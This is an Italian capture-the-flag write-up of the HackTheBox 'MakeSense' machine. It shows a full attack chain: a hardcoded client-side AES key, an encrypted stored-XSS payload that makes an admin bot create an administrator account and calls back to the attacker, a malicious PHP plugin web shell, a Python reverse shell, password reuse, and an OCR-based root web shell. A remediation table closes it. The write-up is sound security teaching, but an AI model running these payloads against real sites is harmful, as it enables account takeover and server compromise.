MakeSense — HTB Season 11

6 min di lettura

WordPress con tema custom webagency: chiave crittografica hardcoded lato client → forge di payload cifrati → Stored XSS nella sessione di un bot admin → creazione admin e RCE via plugin malevolo (www-data) → riuso password verso walter → servizio OCR interno di root che scrive una web shell PHP eseguibile → root.

Piattaforma
HackTheBox
Difficoltà
medium
Categoria
web
Strumenti
  • nmap
  • wpscan
  • caido

Season 11 · Difficoltà: Medium Da una chiave crittografica hardcoded nel JavaScript di un tema WordPress fino a RCE come root: una catena costruita interamente su fiducia mal riposta — nel client, nell'input, nelle credenziali e nei privilegi di un servizio interno.

Campo Valore
Host makesense.htb
OS Ubuntu 24.04 · Kernel 6.8
Porte aperte 22 (SSH) · 443 (HTTPS)
Stack WordPress · tema custom webagency
Target IP 10.10.X.X
Attacker IP 10.10.X.X

Executive Summary

MakeSense ospita un'applicazione WordPress con tema custom webagency. La funzione di trascrizione vocale cifra i risultati lato client con una chiave hardcoded: replicandola possiamo forgiare payload cifrati arbitrari che il pannello admin renderizza senza escaping, trasformando la feature in una Stored XSS eseguita nella sessione di un bot amministratore. Da lì: creazione di un admin, RCE via plugin malevolo, riuso password verso walter, e abuso di un servizio OCR interno di root per scrivere una web shell PHP eseguibile.

Fase Vulnerabilità Tecnica Risultato
Recon Info disclosure Nmap + enum WordPress Superficie d'attacco
Foothold Hardcoded key + Stored XSS Payload cifrato → XSS su bot admin Utente administrator
RCE Plugin upload Plugin PHP malevolo Shell www-data
User Password reuse wp-config.php → su walter User flag
Root Arbitrary file write OCR → .php in /root/ocr4/ Root flag

Kill Chain

# Fase Severità Descrizione
01 Recon & JS leak info whisper-wrapper.js espone ENCRYPTION_KEY hardcoded (AES-GCM), stessa chiave usata dal server
02 Payload cifrato forgiato medium Replichiamo la cifratura WebCrypto e inseriamo un <script> in save_voice_results
03 Stored XSS sul bot admin high Il bot apre edit.php; payload.js crea l'admin htb_admin nella sua sessione
04 RCE via plugin → www-data high Login admin, upload plugin PHP malevolo, reverse shell
05 Password reuse → root via OCR critical wp-config.php → su walter → servizio OCR di root scrive root_shell.php

Indice

  1. Reconnaissance & Enumeration
  2. Reverse Engineering JS & Cryptographic Leak
  3. Flusso AJAX & Custom Post Type
  4. Exploitation
  5. Privilege Escalation locale · User
  6. Privilege Escalation a Root · OCR
  7. Flag finali
  8. Remediation

1. Reconnaissance & Enumeration

1.1 Scansione porte (Nmap)

Shell
nmap -Pn -p- --min-rate 5000 10.10.X.X        # tutte le porte
nmap -Pn -p 22,80,443 -sV -sC 10.10.X.X        # service + default scripts
Plaintext
PORT    STATE  SERVICE  VERSION
22/tcp  open   ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
443/tcp open   ssl/http Apache httpd 2.4.58 ((Ubuntu))

Tip: il redirect / certificato TLS rivela l'hostname. Aggiungilo a /etc/hosts:

Shell
echo "10.10.X.X makesense.htb" | sudo tee -a /etc/hosts

1.2 Web enumeration

L'app è WordPress con tema custom webagency in /wp-content/themes/webagency/. Punti di interesse:

  • Directory listing attivo su /wp-content/uploads/
  • xmlrpc.php abilitato
  • Utenti WordPress enumerabili: walter, admin, jake

Nel sorgente HTML, la configurazione AJAX iniettata dal tema:

JavaScript
var webagency_ajax = {
  "ajax_url":  "https://makesense.htb/wp-admin/admin-ajax.php",
  "nonce":     "<NONCE_DINAMICO>",
  "theme_url": "https://makesense.htb/wp-content/themes/webagency",
  "site_url":  "https://makesense.htb"
};

Nota: il nonce è pubblico e rigenerato per sessione — va recuperato dinamicamente prima di ogni chiamata AJAX.


2. Reverse Engineering JS & Cryptographic Leak

La logica applicativa vive negli asset del tema. Due file rilevanti:

  • assets/js/whisper/whisper-wrapper.js
  • assets/js/main.js

2.1 La chiave simmetrica AES-GCM

Le registrazioni vocali sono trascritte interamente nel browser (Transformers.js / Whisper), poi cifrate prima dell'invio con una chiave hardcoded nel sorgente:

JavaScript
// Symmetric encryption key (must match server-side)
const ENCRYPTION_KEY = '<REDACTED_ENCRYPTION_KEY>';

Vulnerabilità chiave: la cifratura qui non è un controllo di sicurezza. La chiave è pubblica e lo stesso segreto viene usato dal server per decifrare. Il commento must match server-side conferma che il server si fida del contenuto decifrato. Chiunque possieda la chiave forgia payload validi con contenuto arbitrario, bypassando ogni filtro lato client.

2.2 Schema di cifratura (WebCrypto)

Il client cifra {"transcription", "summary"} in AES-GCM. Riproducendo lo schema:

  • Key derivation: SHA-256(ENCRYPTION_KEY) → 32 byte (AES-256)
  • IV: 12 byte casuali (crypto.getRandomValues)
  • Output: Base64( IV(12B) ‖ Ciphertext ‖ Tag(16B) )

3. Flusso AJAX & Custom Post Type

L'invio di un messaggio vocale è composto da due POST verso admin-ajax.php.

Fase 1 — Upload audio grezzo · save_voice_raw

Plaintext
POST /wp-admin/admin-ajax.php
Content-Type: multipart/form-data; boundary=----Boundary

action=save_voice_raw  nonce=<NONCE>  voice_recording=<file.wav>
JSON
{"success":true,"data":{"message":"Audio saved…","post_id":70}}

Salva il .wav in /uploads/YYYY/MM/, crea un post contact_submission e restituisce il post_id da riusare in fase 2.

Fase 2 — Salvataggio risultati cifrati · save_voice_results

Plaintext
POST /wp-admin/admin-ajax.php
Content-Type: application/x-www-form-urlencoded

action=save_voice_results&nonce=<NONCE>&post_id=<ID>&encrypted_payload=<B64>
JSON
{"success":true,"data":{"message":"Results saved successfully!"}}

Innesco: il server decifra il payload, estrae transcription/summary e li mostra nel pannello admin. È qui che scatta la XSS.


4. Exploitation

4.1 Replica della cifratura in Python

Python
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
import base64, hashlib, json, os

ENCRYPTION_KEY = "<REDACTED_ENCRYPTION_KEY>"

def encrypt_payload(payload_dict):
    key = hashlib.sha256(ENCRYPTION_KEY.encode()).digest()   # 32 byte
    iv  = os.urandom(12)                                      # IV 12B
    data = json.dumps(payload_dict).encode()
    ct_and_tag = AESGCM(key).encrypt(iv, data, None)         # ct‖tag
    return base64.b64encode(iv + ct_and_tag).decode()        # IV‖ct‖tag

4.2 Payload XSS — creazione admin

Un bot amministratore revisiona i messaggi aprendo edit.php?post_type=contact_submission. Poiché i campi decifrati sono renderizzati senza escaping, un <script> gira nella sua sessione. Il payload.js servito dal nostro listener crea un admin:

JavaScript
(async () => {
  // 1. leggi il CSRF nonce dalla pagina (same-origin, sessione admin)
  let html = await (await fetch('/wp-admin/user-new.php', {credentials:'include'})).text();
  let n = html.match(/_wpnonce_create-user"[^>]*value="([^"]+)"/)[1];

  // 2. POST createuser → nuovo administrator
  let f = new URLSearchParams({
    '_wpnonce_create-user': n, action:'createuser',
    user_login:'htb_admin', email:'htb_admin@makesense.htb',
    pass1:'<PWD>', pass2:'<PWD>', role:'administrator', createuser:'Add New User'});
  let r = await fetch('/wp-admin/user-new.php', {method:'POST', body:f, credentials:'include',
      headers:{'Content-Type':'application/x-www-form-urlencoded'}});
  new Image().src = 'http://10.10.X.X:9999/log?m=' + r.status;   // callback
})();

Perché serve il nonce: WordPress protegge user-new.php con _wpnonce_create-user. Non è indovinabile, ma lo leggiamo dall'HTML perché lo script gira dentro la sessione admin (same-origin) → CSRF bypassato.

4.3 Consegna al bot & verifica

Inviamo l'upload audio e il payload cifrato via Python:

Python
# 1. Upload audio grezzo
fields = {'action': 'save_voice_raw', 'nonce': nonce}
files  = {'voice_recording': ('voice_script.wav', wav_header, 'audio/wav')}
post_id = json.loads(post_multipart(ajax_url, fields, files))['data']['post_id']

# 2. Payload XSS cifrato
script_tag = '<script src="http://10.10.X.X:9999/payload.js"></script>'
enc = encrypt_payload({
    'transcription': 'Voice message: ' + script_tag,
    'summary':       'Voice message summary: ' + script_tag})
data = urllib.parse.urlencode({
    'action':'save_voice_results', 'nonce':nonce, 'post_id':post_id, 'encrypted_payload':enc})

Avviamo il listener che serve payload.js e raccoglie le callback:

Shell
python3 -m http.server 9999

Log del listener:

Plaintext
10.10.X.X "GET /payload.js HTTP/1.1" 200
10.10.X.X "GET /log?m=Found%20user%20create%20nonce%3A%206f648eb796" 200
10.10.X.X "GET /log?m=User%20create%20response%20status%3A%20200" 200

Conferma: le tre richieste dimostrano la catena — il bot ha eseguito lo script, letto il nonce e completato la POST con status 200. L'admin htb_admin è attivo.

4.4 RCE via plugin malevolo

1. Plugin malevolo — shell/shell.php:

PHP
<?php
/* Plugin Name: Shell Plugin */
if (isset($_REQUEST['cmd'])) { system($_REQUEST['cmd']); exit; }
Shell
zip -r shell.zip shell/          # struttura: shell/shell.php

2. Upload via Admin Panel:

  • Login /wp-login.php come htb_admin, nonce da plugin-install.php?tab=upload
  • POST multipart su /wp-admin/update.php?action=upload-plugin

WordPress consente agli admin di caricare plugin arbitrari come ZIP: essendo PHP eseguibile, è un percorso diretto da admin a RCE.

3. Verifica & reverse shell:

Shell
$ curl '…/wp-content/plugins/shell/shell.php?cmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

# listener: nc -lvnp 4444 — poi via web shell:
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.10.X.X",4444));
[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/bash")'

5. Privilege Escalation locale · User

Lettura di wp-config.php in /var/www/html/:

PHP
// Dummy MySQL settings (required but not used with SQLite)
define( 'DB_USER',     'walter' );
define( 'DB_PASSWORD', '<REDACTED_PASSWORD>' );

Password reuse: il DB_USER coincide con un utente di sistema. Testiamo la password DB come password di login.

Shell
www-data$ su walter
Password: <REDACTED_PASSWORD>
walter$ id
uid=1000(walter) gid=1000(walter) groups=1000(walter)
walter$ cat /home/walter/user.txt
<REDACTED_USER_FLAG>

6. Privilege Escalation a Root · OCR

6.1 Servizio interno di root

ps aux rivela un web server PHP interno avviato da root su 127.0.0.1:8001:

Shell
root 1335 /bin/sh -c /root/.scripts/start_ocr4.sh
root 1337 /bin/bash /root/.scripts/start_ocr4.sh
root 1351 php -S 127.0.0.1:8001 -t /root/ocr4/

$ curl -I http://127.0.0.1:8001/
HTTP/1.0 401 Unauthorized   WWW-Authenticate: Basic realm="OCR Protected"

6.2 HTTP Basic Auth

Riusiamo ancora le credenziali di walter:

Shell
curl -u walter:'<REDACTED_PASSWORD>' http://127.0.0.1:8001/     # → 200 OK

6.3–6.4 Arbitrary .php file write

L'app /root/ocr4/ riceve un canvas Base64, lo passa a Tesseract OCR e permette di salvare il testo riconosciuto in /root/ocr4/saved/<filename>. Poiché il server gira come root e filename non filtra l'estensione:

  • Un file .php in saved/ viene interpretato dal server PHP con privilegi di root
  • Il contenuto del file è ciò che Tesseract riconosce dalla nostra immagine

6.5 Precision OCR payload (PHP GD)

PHP
$im = imagecreatetruecolor(1400, 160);
imagefilledrectangle($im, 0, 0, 1400, 160, imagecolorallocate($im,255,255,255));
$font = "/usr/share/fonts/truetype/dejavu/DejaVuSansMono.ttf";
imagettftext($im, 28, 0, 40, 100, imagecolorallocate($im,0,0,0),
             $font, "<?php system(\$_GET['c']); ?>");
imagepng($im, "/tmp/root_payload.png");

Perché monospace: i caratteri < ? $ [ ] _ ; confondono l'OCR. Font monospace, alto contrasto e dimensione generosa rendono il riconoscimento deterministico:

Plaintext
Recognized: <?php system($_GET['c']); ?>     (100%)

6.6 Catena finale → root

Shell
# 1. POST canvas_image (Basic Auth) → ottieni PHPSESSID + ocr_id
# 2. POST filename=root_shell.php  save_output=Save  (Cookie: PHPSESSID)
# 3. trigger:
$ curl 'http://127.0.0.1:8001/saved/root_shell.php?c=id;cat+/root/root.txt'
uid=0(root) gid=0(root) groups=0(root)
<REDACTED_ROOT_FLAG>

Nota: il servizio è in ascolto solo su 127.0.0.1 — l'intera catena va eseguita dalla shell di walter sull'host (es. curl locale o SSH port-forward).


7. Flag finali

Flag Valore
User (walter) <REDACTED_USER_FLAG>
Root (uid=0) <REDACTED_ROOT_FLAG>

8. Remediation

Sev Debolezza Rimedio
CRIT Chiave crypto hardcoded lato client La cifratura client non è un controllo. Rimuovere la chiave dal JS; validare/sanitizzare sul server.
HIGH Output non-escaped (Stored XSS) Escaping contestuale (esc_html, wp_kses); CSP restrittiva.
HIGH Bot admin apre contenuto non fidato Review in ambiente sandboxed senza sessione privilegiata.
MED Upload plugin arbitrari → RCE Limitare install_plugins; DISALLOW_FILE_MODS; MFA sugli admin.
MED Password reuse (DB = sistema) Credenziali distinte per servizio; secret manager dedicato.
CRIT Servizio root con arbitrary file write Non eseguire il web server come root; whitelist estensioni/nomi file; output dir non eseguibile.

Takeaway: ogni anello della catena nasce da fiducia mal riposta — nel client (chiave), nell'input (XSS), nelle credenziali (reuse) e nei privilegi di un servizio (root). La difesa in profondità avrebbe spezzato la catena in più punti.